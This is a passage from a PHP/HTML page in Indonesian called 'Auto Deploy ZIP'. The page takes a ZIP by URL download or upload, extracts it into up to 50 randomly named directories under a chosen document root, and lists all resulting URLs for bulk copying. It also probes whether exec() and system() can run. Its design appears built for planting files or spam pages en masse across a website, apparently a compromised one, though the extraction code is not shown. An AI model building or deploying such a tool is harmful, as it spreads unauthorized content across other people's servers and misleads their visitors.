                        <div class="form-group">
                            <label class="form-label">📂 Custom Document Root:</label>
                            <div class="root-input-group">
                                <input type="text" name="custom_root" class="form-input" 
                                       placeholder="Masukkan path document root custom" 
                                       value="<?php echo htmlspecialchars(!empty($custom_root) && is_dir($custom_root) ? $custom_root : ''); ?>">
                                <button type="submit" name="set_root" value="1" class="btn btn-warning">Set Root</button>
                                <?php if (!empty($custom_root) && is_dir($custom_root)): ?>
                                <button type="submit" name="reset_root" value="1" class="btn btn-outline-secondary">Reset ke Default</button>
                                <?php endif; ?>
                            </div>
                            <div style="margin-top:8px;font-size:12px;color:#666;">
                                Default: <strong><?php echo $default_root; ?></strong>
                                <?php if (!empty($custom_root) && is_dir($custom_root)): ?>
                                <br>✅ <strong style="color:#28a745;">Custom root aktif:</strong> <?php echo $custom_root; ?>
                                <?php endif; ?>
                            </div>
                        </div>
                        
                        <hr style="margin: 20px 0; border: none; border-top: 2px solid #e9ecef;">
                        
                        <!-- ==================== DOWNLOAD DARI URL ==================== -->
                        <div class="form-group">
                            <label class="form-label">đŸ“Ĩ Download ZIP dari URL:</label>
                            <div style="display:flex;gap:10px;flex-wrap:wrap;">
                                <input type="text" class="url-input" value="<?php echo htmlspecialchars($zip_url); ?>" readonly style="flex:1;min-width:200px;">
                                <button type="submit" name="action" value="download" class="btn btn-primary">âŦ‡ī¸ Download</button>
                            </div>
                            <?php if (!empty($download_error)): ?>
                            <div style="margin-top:8px;padding:8px 12px;background:#f8d7da;border-radius:6px;color:#721c24;font-size:13px;">
                                ❌ <?php echo htmlspecialchars($download_error); ?>
                            </div>
                            <?php endif; ?>
                            <?php if ($download_success): ?>
                            <div style="margin-top:8px;padding:8px 12px;background:#d4edda;border-radius:6px;color:#155724;font-size:13px;">
                                ✅ Download berhasil! ZIP siap digunakan.
                            </div>
                            <?php endif; ?>
                        </div>
                        
                        <!-- DIVIDER -->
                        <div class="divider">
                            <span>ATAU</span>
                        </div>
                        
                        <!-- ==================== UPLOAD MANUAL ==================== -->
                        <div class="form-group">
                            <label class="form-label">📤 Upload ZIP Manual:</label>
                            <div class="upload-area" onclick="document.getElementById('zip_file_input').click()">
                                <div class="icon">📁</div>
                                <p style="color:#666;font-size:14px;">Klik untuk upload file ZIP</p>
                                <p style="color:#999;font-size:12px;">Maksimal 100MB</p>
                                <input type="file" name="zip_file" id="zip_file_input" accept=".zip">
                            </div>
                            <div id="file-name-display" style="font-size:13px;color:#667eea;font-weight:600;margin-top:5px;display:none;">
                                📄 <span id="selected-file-name"></span>
                            </div>
                        </div>
                        
                        <!-- ==================== PILIH ZIP YANG SUDAH ADA ==================== -->
                        <?php if (!empty($zip_files)): ?>
                        <div class="form-group">
                            <label class="form-label">📂 Atau Pilih ZIP yang Sudah Ada:</label>
                            <select name="zip_file_path" class="form-select">
                                <option value="">-- Pilih ZIP --</option>
                                <?php foreach ($zip_files as $zip): ?>
                                <option value="<?php echo htmlspecialchars($zip['path']); ?>">
                                    <?php echo htmlspecialchars($zip['name']); ?> (<?php echo formatSize($zip['size']); ?>)
                                </option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                        <?php endif; ?>
                        
                        <!-- ==================== JUMLAH DIRECTORY ==================== -->
                        <div class="form-group">
                            <label class="form-label">📊 Jumlah Directory yang Mau Di-deploy:</label>
                            <input type="number" name="jumlah" class="form-input" min="1" max="50" value="3" required>
                            <div style="margin-top:5px;font-size:12px;color:#666;">Minimal 1, maksimal 50 (atau sesuai jumlah folder yang tersedia)</div>
                        </div>
                        
                        <!-- ==================== TOMBOL DEPLOY ==================== -->
                        <input type="hidden" name="action" value="deploy">
                        <div style="text-align:center;">
                            <button type="submit" class="btn btn-success" style="font-size:18px;padding:15px 40px;" <?php echo !$unzip_method ? 'disabled style="opacity:0.5;cursor:not-allowed;"' : ''; ?>>
                                <?php echo $unzip_method ? '🚀 Deploy Sekarang' : 'âš ī¸ Unzip Tidak Tersedia'; ?>
                            </button>
                            <?php if (!$unzip_method): ?>
                            <div style="margin-top:10px;font-size:13px;color:#dc3545;">
                                Install php-zip atau unzip terlebih dahulu!
                            </div>
                            <?php endif; ?>
                        </div>
                    </form>
                    
                    <!-- Daftar ZIP yang tersedia -->
                    <?php if (!empty($zip_files)): ?>
                    <div style="margin-top:20px;">
                        <h4 style="color:#333;font-size:14px;margin-bottom:10px;">📁 ZIP yang tersedia di server:</h4>
                        <div class="zip-list">
                            <?php foreach ($zip_files as $zip): ?>
                            <div class="item">
                                <span class="name">📄 <?php echo htmlspecialchars($zip['name']); ?></span>
                                <span class="info"><?php echo formatSize($zip['size']); ?> | <?php echo date('Y-m-d H:i', $zip['modified']); ?></span>
                            </div>
                            <?php endforeach; ?>
                        </div>
                    </div>
                    <?php endif; ?>
                </div>
                
            <?php else: ?>
                
                <!-- Log -->
                <div class="log-box">
                    <?php foreach ($log as $entry): ?>
                        <div class="<?php echo $entry['type']; ?>"><?php echo $entry['msg']; ?></div>
                    <?php endforeach; ?>
                </div>
                
                <!-- Hasil Ringkasan -->
                <?php if (!empty($results)): ?>
                <div style="margin-top:15px;">
                    <h4 style="color:#333;margin-bottom:10px;">📋 Hasil Deploy (<?php echo $success_count; ?> sukses dari <?php echo count($results); ?> directory):</h4>
                    <?php foreach ($results as $result): ?>
                        <div class="result-item" style="border-left-color: <?php echo $result['status'] == 'success' ? '#28a745' : '#dc3545'; ?>;">
                            <div class="dir-path">
                                📁 <?php echo $result['path']; ?> (Level <?php echo $result['level']; ?>)
                                <span class="random-string"><?php echo $result['random_string']; ?></span>
                                <?php if ($result['status'] == 'success' && isset($result['method'])): ?>
                                <span class="method-badge"><?php echo $result['method']; ?></span>
                                <?php endif; ?>
                            </div>
                            <?php if ($result['status'] == 'success'): ?>
                            <div class="dir-urls">
                                📁 <a href="<?php echo $result['extract_url']; ?>" target="_blank"><?php echo $result['extract_url']; ?></a><br>
                                🔗 <a href="<?php echo $result['access_url']; ?>" target="_blank"><?php echo $result['access_url']; ?></a>
                            </div>
                            <?php else: ?>
                            <div style="color:#dc3545;font-size:12px;">❌ Error: <?php echo $result['error']; ?></div>
                            <?php endif; ?>
                        </div>
                    <?php endforeach; ?>
                </div>
                
                <!-- ALL URL + COPY ALL -->
                <?php if (!empty($url_list)): ?>
                <div class="all-urls-box">
                    <div class="header-box">
                        <h4>📋 ALL URL (<?php echo count($url_list); ?> URL):</h4>
                        <div style="display:flex;gap:10px;flex-wrap:wrap;">
                            <button onclick="copyAllUrls()" class="btn btn-primary btn-sm">📋 Copy All</button>
                            <button onclick="copyAllUrlsWithNumber()" class="btn btn-success btn-sm">📋 Copy with Number</button>
                        </div>
                    </div>
                    <div id="all-urls-container" class="url-list">
                        <?php 
                        foreach ($url_list as $index => $url):
                            echo trim($url);
                            if ($index < count($url_list) - 1) {
                                echo "\n";
                            }
                        endforeach;
                        ?>
                    </div>
                    <div class="note">
                        Klik "Copy All" untuk menyalin semua URL (1 URL per baris)
                        <br>
                        <span style="color:#666;font-size:11px;">
                            Total: <?php echo count($url_list); ?> URL valid
                        </span>
                    </div>
                </div>
                <?php endif; ?>
                <?php endif; ?>
                
                <!-- Tombol -->
                <div class="flex mt-15">
                    <a href="?" class="btn btn-primary">🔄 Deploy Lagi</a>
                </div>
                
            <?php endif; ?>
        </div>
    </div>
    
    <!-- ==================== INFO ==================== -->
    <div class="card">
        <div class="card-header">
            <span class="title">â„šī¸ Status</span>
            <span class="badge">INFO</span>
        </div>
        <div class="card-body">
            <div style="display:grid;grid-template-columns:1fr 1fr;gap:10px;font-size:13px;">
                <div><span style="color:#666;">Document Root:</span> <strong><?php echo $root; ?></strong></div>
                <div><span style="color:#666;">Default Root:</span> <strong><?php echo $default_root; ?></strong></div>
                <div><span style="color:#666;">Temp Folder:</span> <strong><?php echo $temp_dir; ?></strong></div>
                <div><span style="color:#666;">Upload Folder:</span> <strong><?php echo $upload_dir; ?></strong></div>
                <div><span style="color:#666;">ZipArchive:</span> <strong><?php echo class_exists('ZipArchive') ? '✅ Tersedia' : '❌ Tidak tersedia'; ?></strong></div>
                <div><span style="color:#666;">exec(unzip):</span> <strong><?php echo (function_exists('exec') && @exec('unzip -v 2>&1') !== false) ? '✅ Tersedia' : '❌ Tidak tersedia'; ?></strong></div>
                <div><span style="color:#666;">system(unzip):</span> <strong><?php echo (function_exists('system') && @system('unzip -v 2>&1') !== false) ? '✅ Tersedia' : '❌ Tidak tersedia'; ?></strong></div>
                <div><span style="color:#666;">PclZip:</span> <strong><?php echo file_exists(__DIR__ . '/pclzip.lib.php') ? '✅ Tersedia' : '❌ Tidak tersedia'; ?></strong></div>
                <div><span style="color:#666;">ZIP Tersedia:</span> <strong><?php echo count($zip_files); ?> file</strong></div>
                <div><span style="color:#666;">Custom Root:</span> <strong><?php echo !empty($custom_root) && is_dir($custom_root) ? '✅ ' . $custom_root : '❌ Tidak aktif'; ?></strong></div>
            </div>
        </div>
    </div>
    
    <!-- FOOTER -->
    <div class="footer">
        <?php echo date('Y-m-d H:i:s'); ?> | Auto Deploy ZIP (Multi Method) v3.0 - Support 4 Metode Unzip
    </div>
</div>

<script>
// ====================================================
// FILE UPLOAD DISPLAY
// ====================================================
document.getElementById('zip_file_input').addEventListener('change', function(e) {
    var file = this.files[0];
    if (file) {
        document.getElementById('selected-file-name').textContent = file.name + ' (' + formatSize(file.size) + ')';
        document.getElementById('file-name-display').style.display = 'block';
    }
});

function formatSize(bytes) {
    if (bytes >= 1073741824) {
        return (bytes / 1073741824).toFixed(2) + ' GB';
    } else if (bytes >= 1048576) {
        return (bytes / 1048576).toFixed(2) + ' MB';
    } else if (bytes >= 1024) {
        return (bytes / 1024).toFixed(2) + ' KB';
    } else {
        return bytes + ' B';
    }
}

// ====================================================
// FUNGSI COPY ALL URL
// ====================================================
function copyAllUrls() {
    var container = document.getElementById('all-urls-container');
    if (!container) {
        showToast('❌ Tidak ada URL untuk di-copy!', 'error');
        return;
    }
    
    var text = container.innerText.trim();
    if (!text) {
        showToast('❌ Tidak ada URL yang berhasil di-deploy!', 'error');
        return;
    }
    
    var urls = text.split('\n')
        .map(line => line.trim())
        .filter(line => line.length > 0);
    
    if (urls.length === 0) {
        showToast('❌ Tidak ada URL yang valid!', 'error');
        return;
    }
    
    var finalText = urls.join('\n');
    
    if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(finalText).then(function() {
            showToast('✅ ' + urls.length + ' URL berhasil di-copy!', 'success');
        }).catch(function() {
            fallbackCopy(finalText, urls.length);
        });
    } else {
        fallbackCopy(finalText, urls.length);
    }
}

function copyAllUrlsWithNumber() {
    var container = document.getElementById('all-urls-container');
    if (!container) {
        showToast('❌ Tidak ada URL untuk di-copy!', 'error');
        return;
    }
    
    var text = container.innerText.trim();
    if (!text) {
        showToast('❌ Tidak ada URL yang berhasil di-deploy!', 'error');
        return;
    }
    
    var urls = text.split('\n')
        .map(line => line.trim())
        .filter(line => line.length > 0);
    
    if (urls.length === 0) {
        showToast('❌ Tidak ada URL yang valid!', 'error');
        return;
    }
    
    var numberedText = urls.map((url, index) => {
        return (index + 1) + ". " + url;
    }).join('\n');
    
    if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(numberedText).then(function() {
            showToast('✅ ' + urls.length + ' URL (dengan nomor) berhasil di-copy!', 'success');
        }).catch(function() {
            fallbackCopy(numberedText, urls.length);
        });
    } else {
        fallbackCopy(numberedText, urls.length);
    }
}

function fallbackCopy(text, count) {
    var textarea = document.createElement('textarea');
    textarea.value = text;
    textarea.style.position = 'fixed';
    textarea.style.opacity = '0';
    textarea.style.left = '-9999px';
    textarea.style.top = '-9999px';
    document.body.appendChild(textarea);
    textarea.select();
    textarea.setSelectionRange(0, 99999);
    
    try {
        var successful = document.execCommand('copy');
        if (successful) {
            showToast('✅ ' + count + ' URL berhasil di-copy!', 'success');
        } else {
            showToast('❌ Gagal copy. Silakan copy manual.', 'error');
        }
    } catch (err) {
        showToast('❌ Gagal copy. Silakan copy manual.', 'error');
    }
    
    document.body.removeChild(textarea);
}

function showToast(message, type) {
    var toast = document.getElementById('toast');
    if (!toast) {
        toast = document.createElement('div');
        toast.id = 'toast';
        toast.className = 'toast';
        document.body.appendChild(toast);
    }
    toast.textContent = message;
    toast.className = 'toast ' + type;
    toast.classList.add('show');
    
    clearTimeout(toast._timeout);
    toast._timeout = setTimeout(function() {
        toast.classList.remove('show');
    }, 3000);
}
</script>

</body>
</html>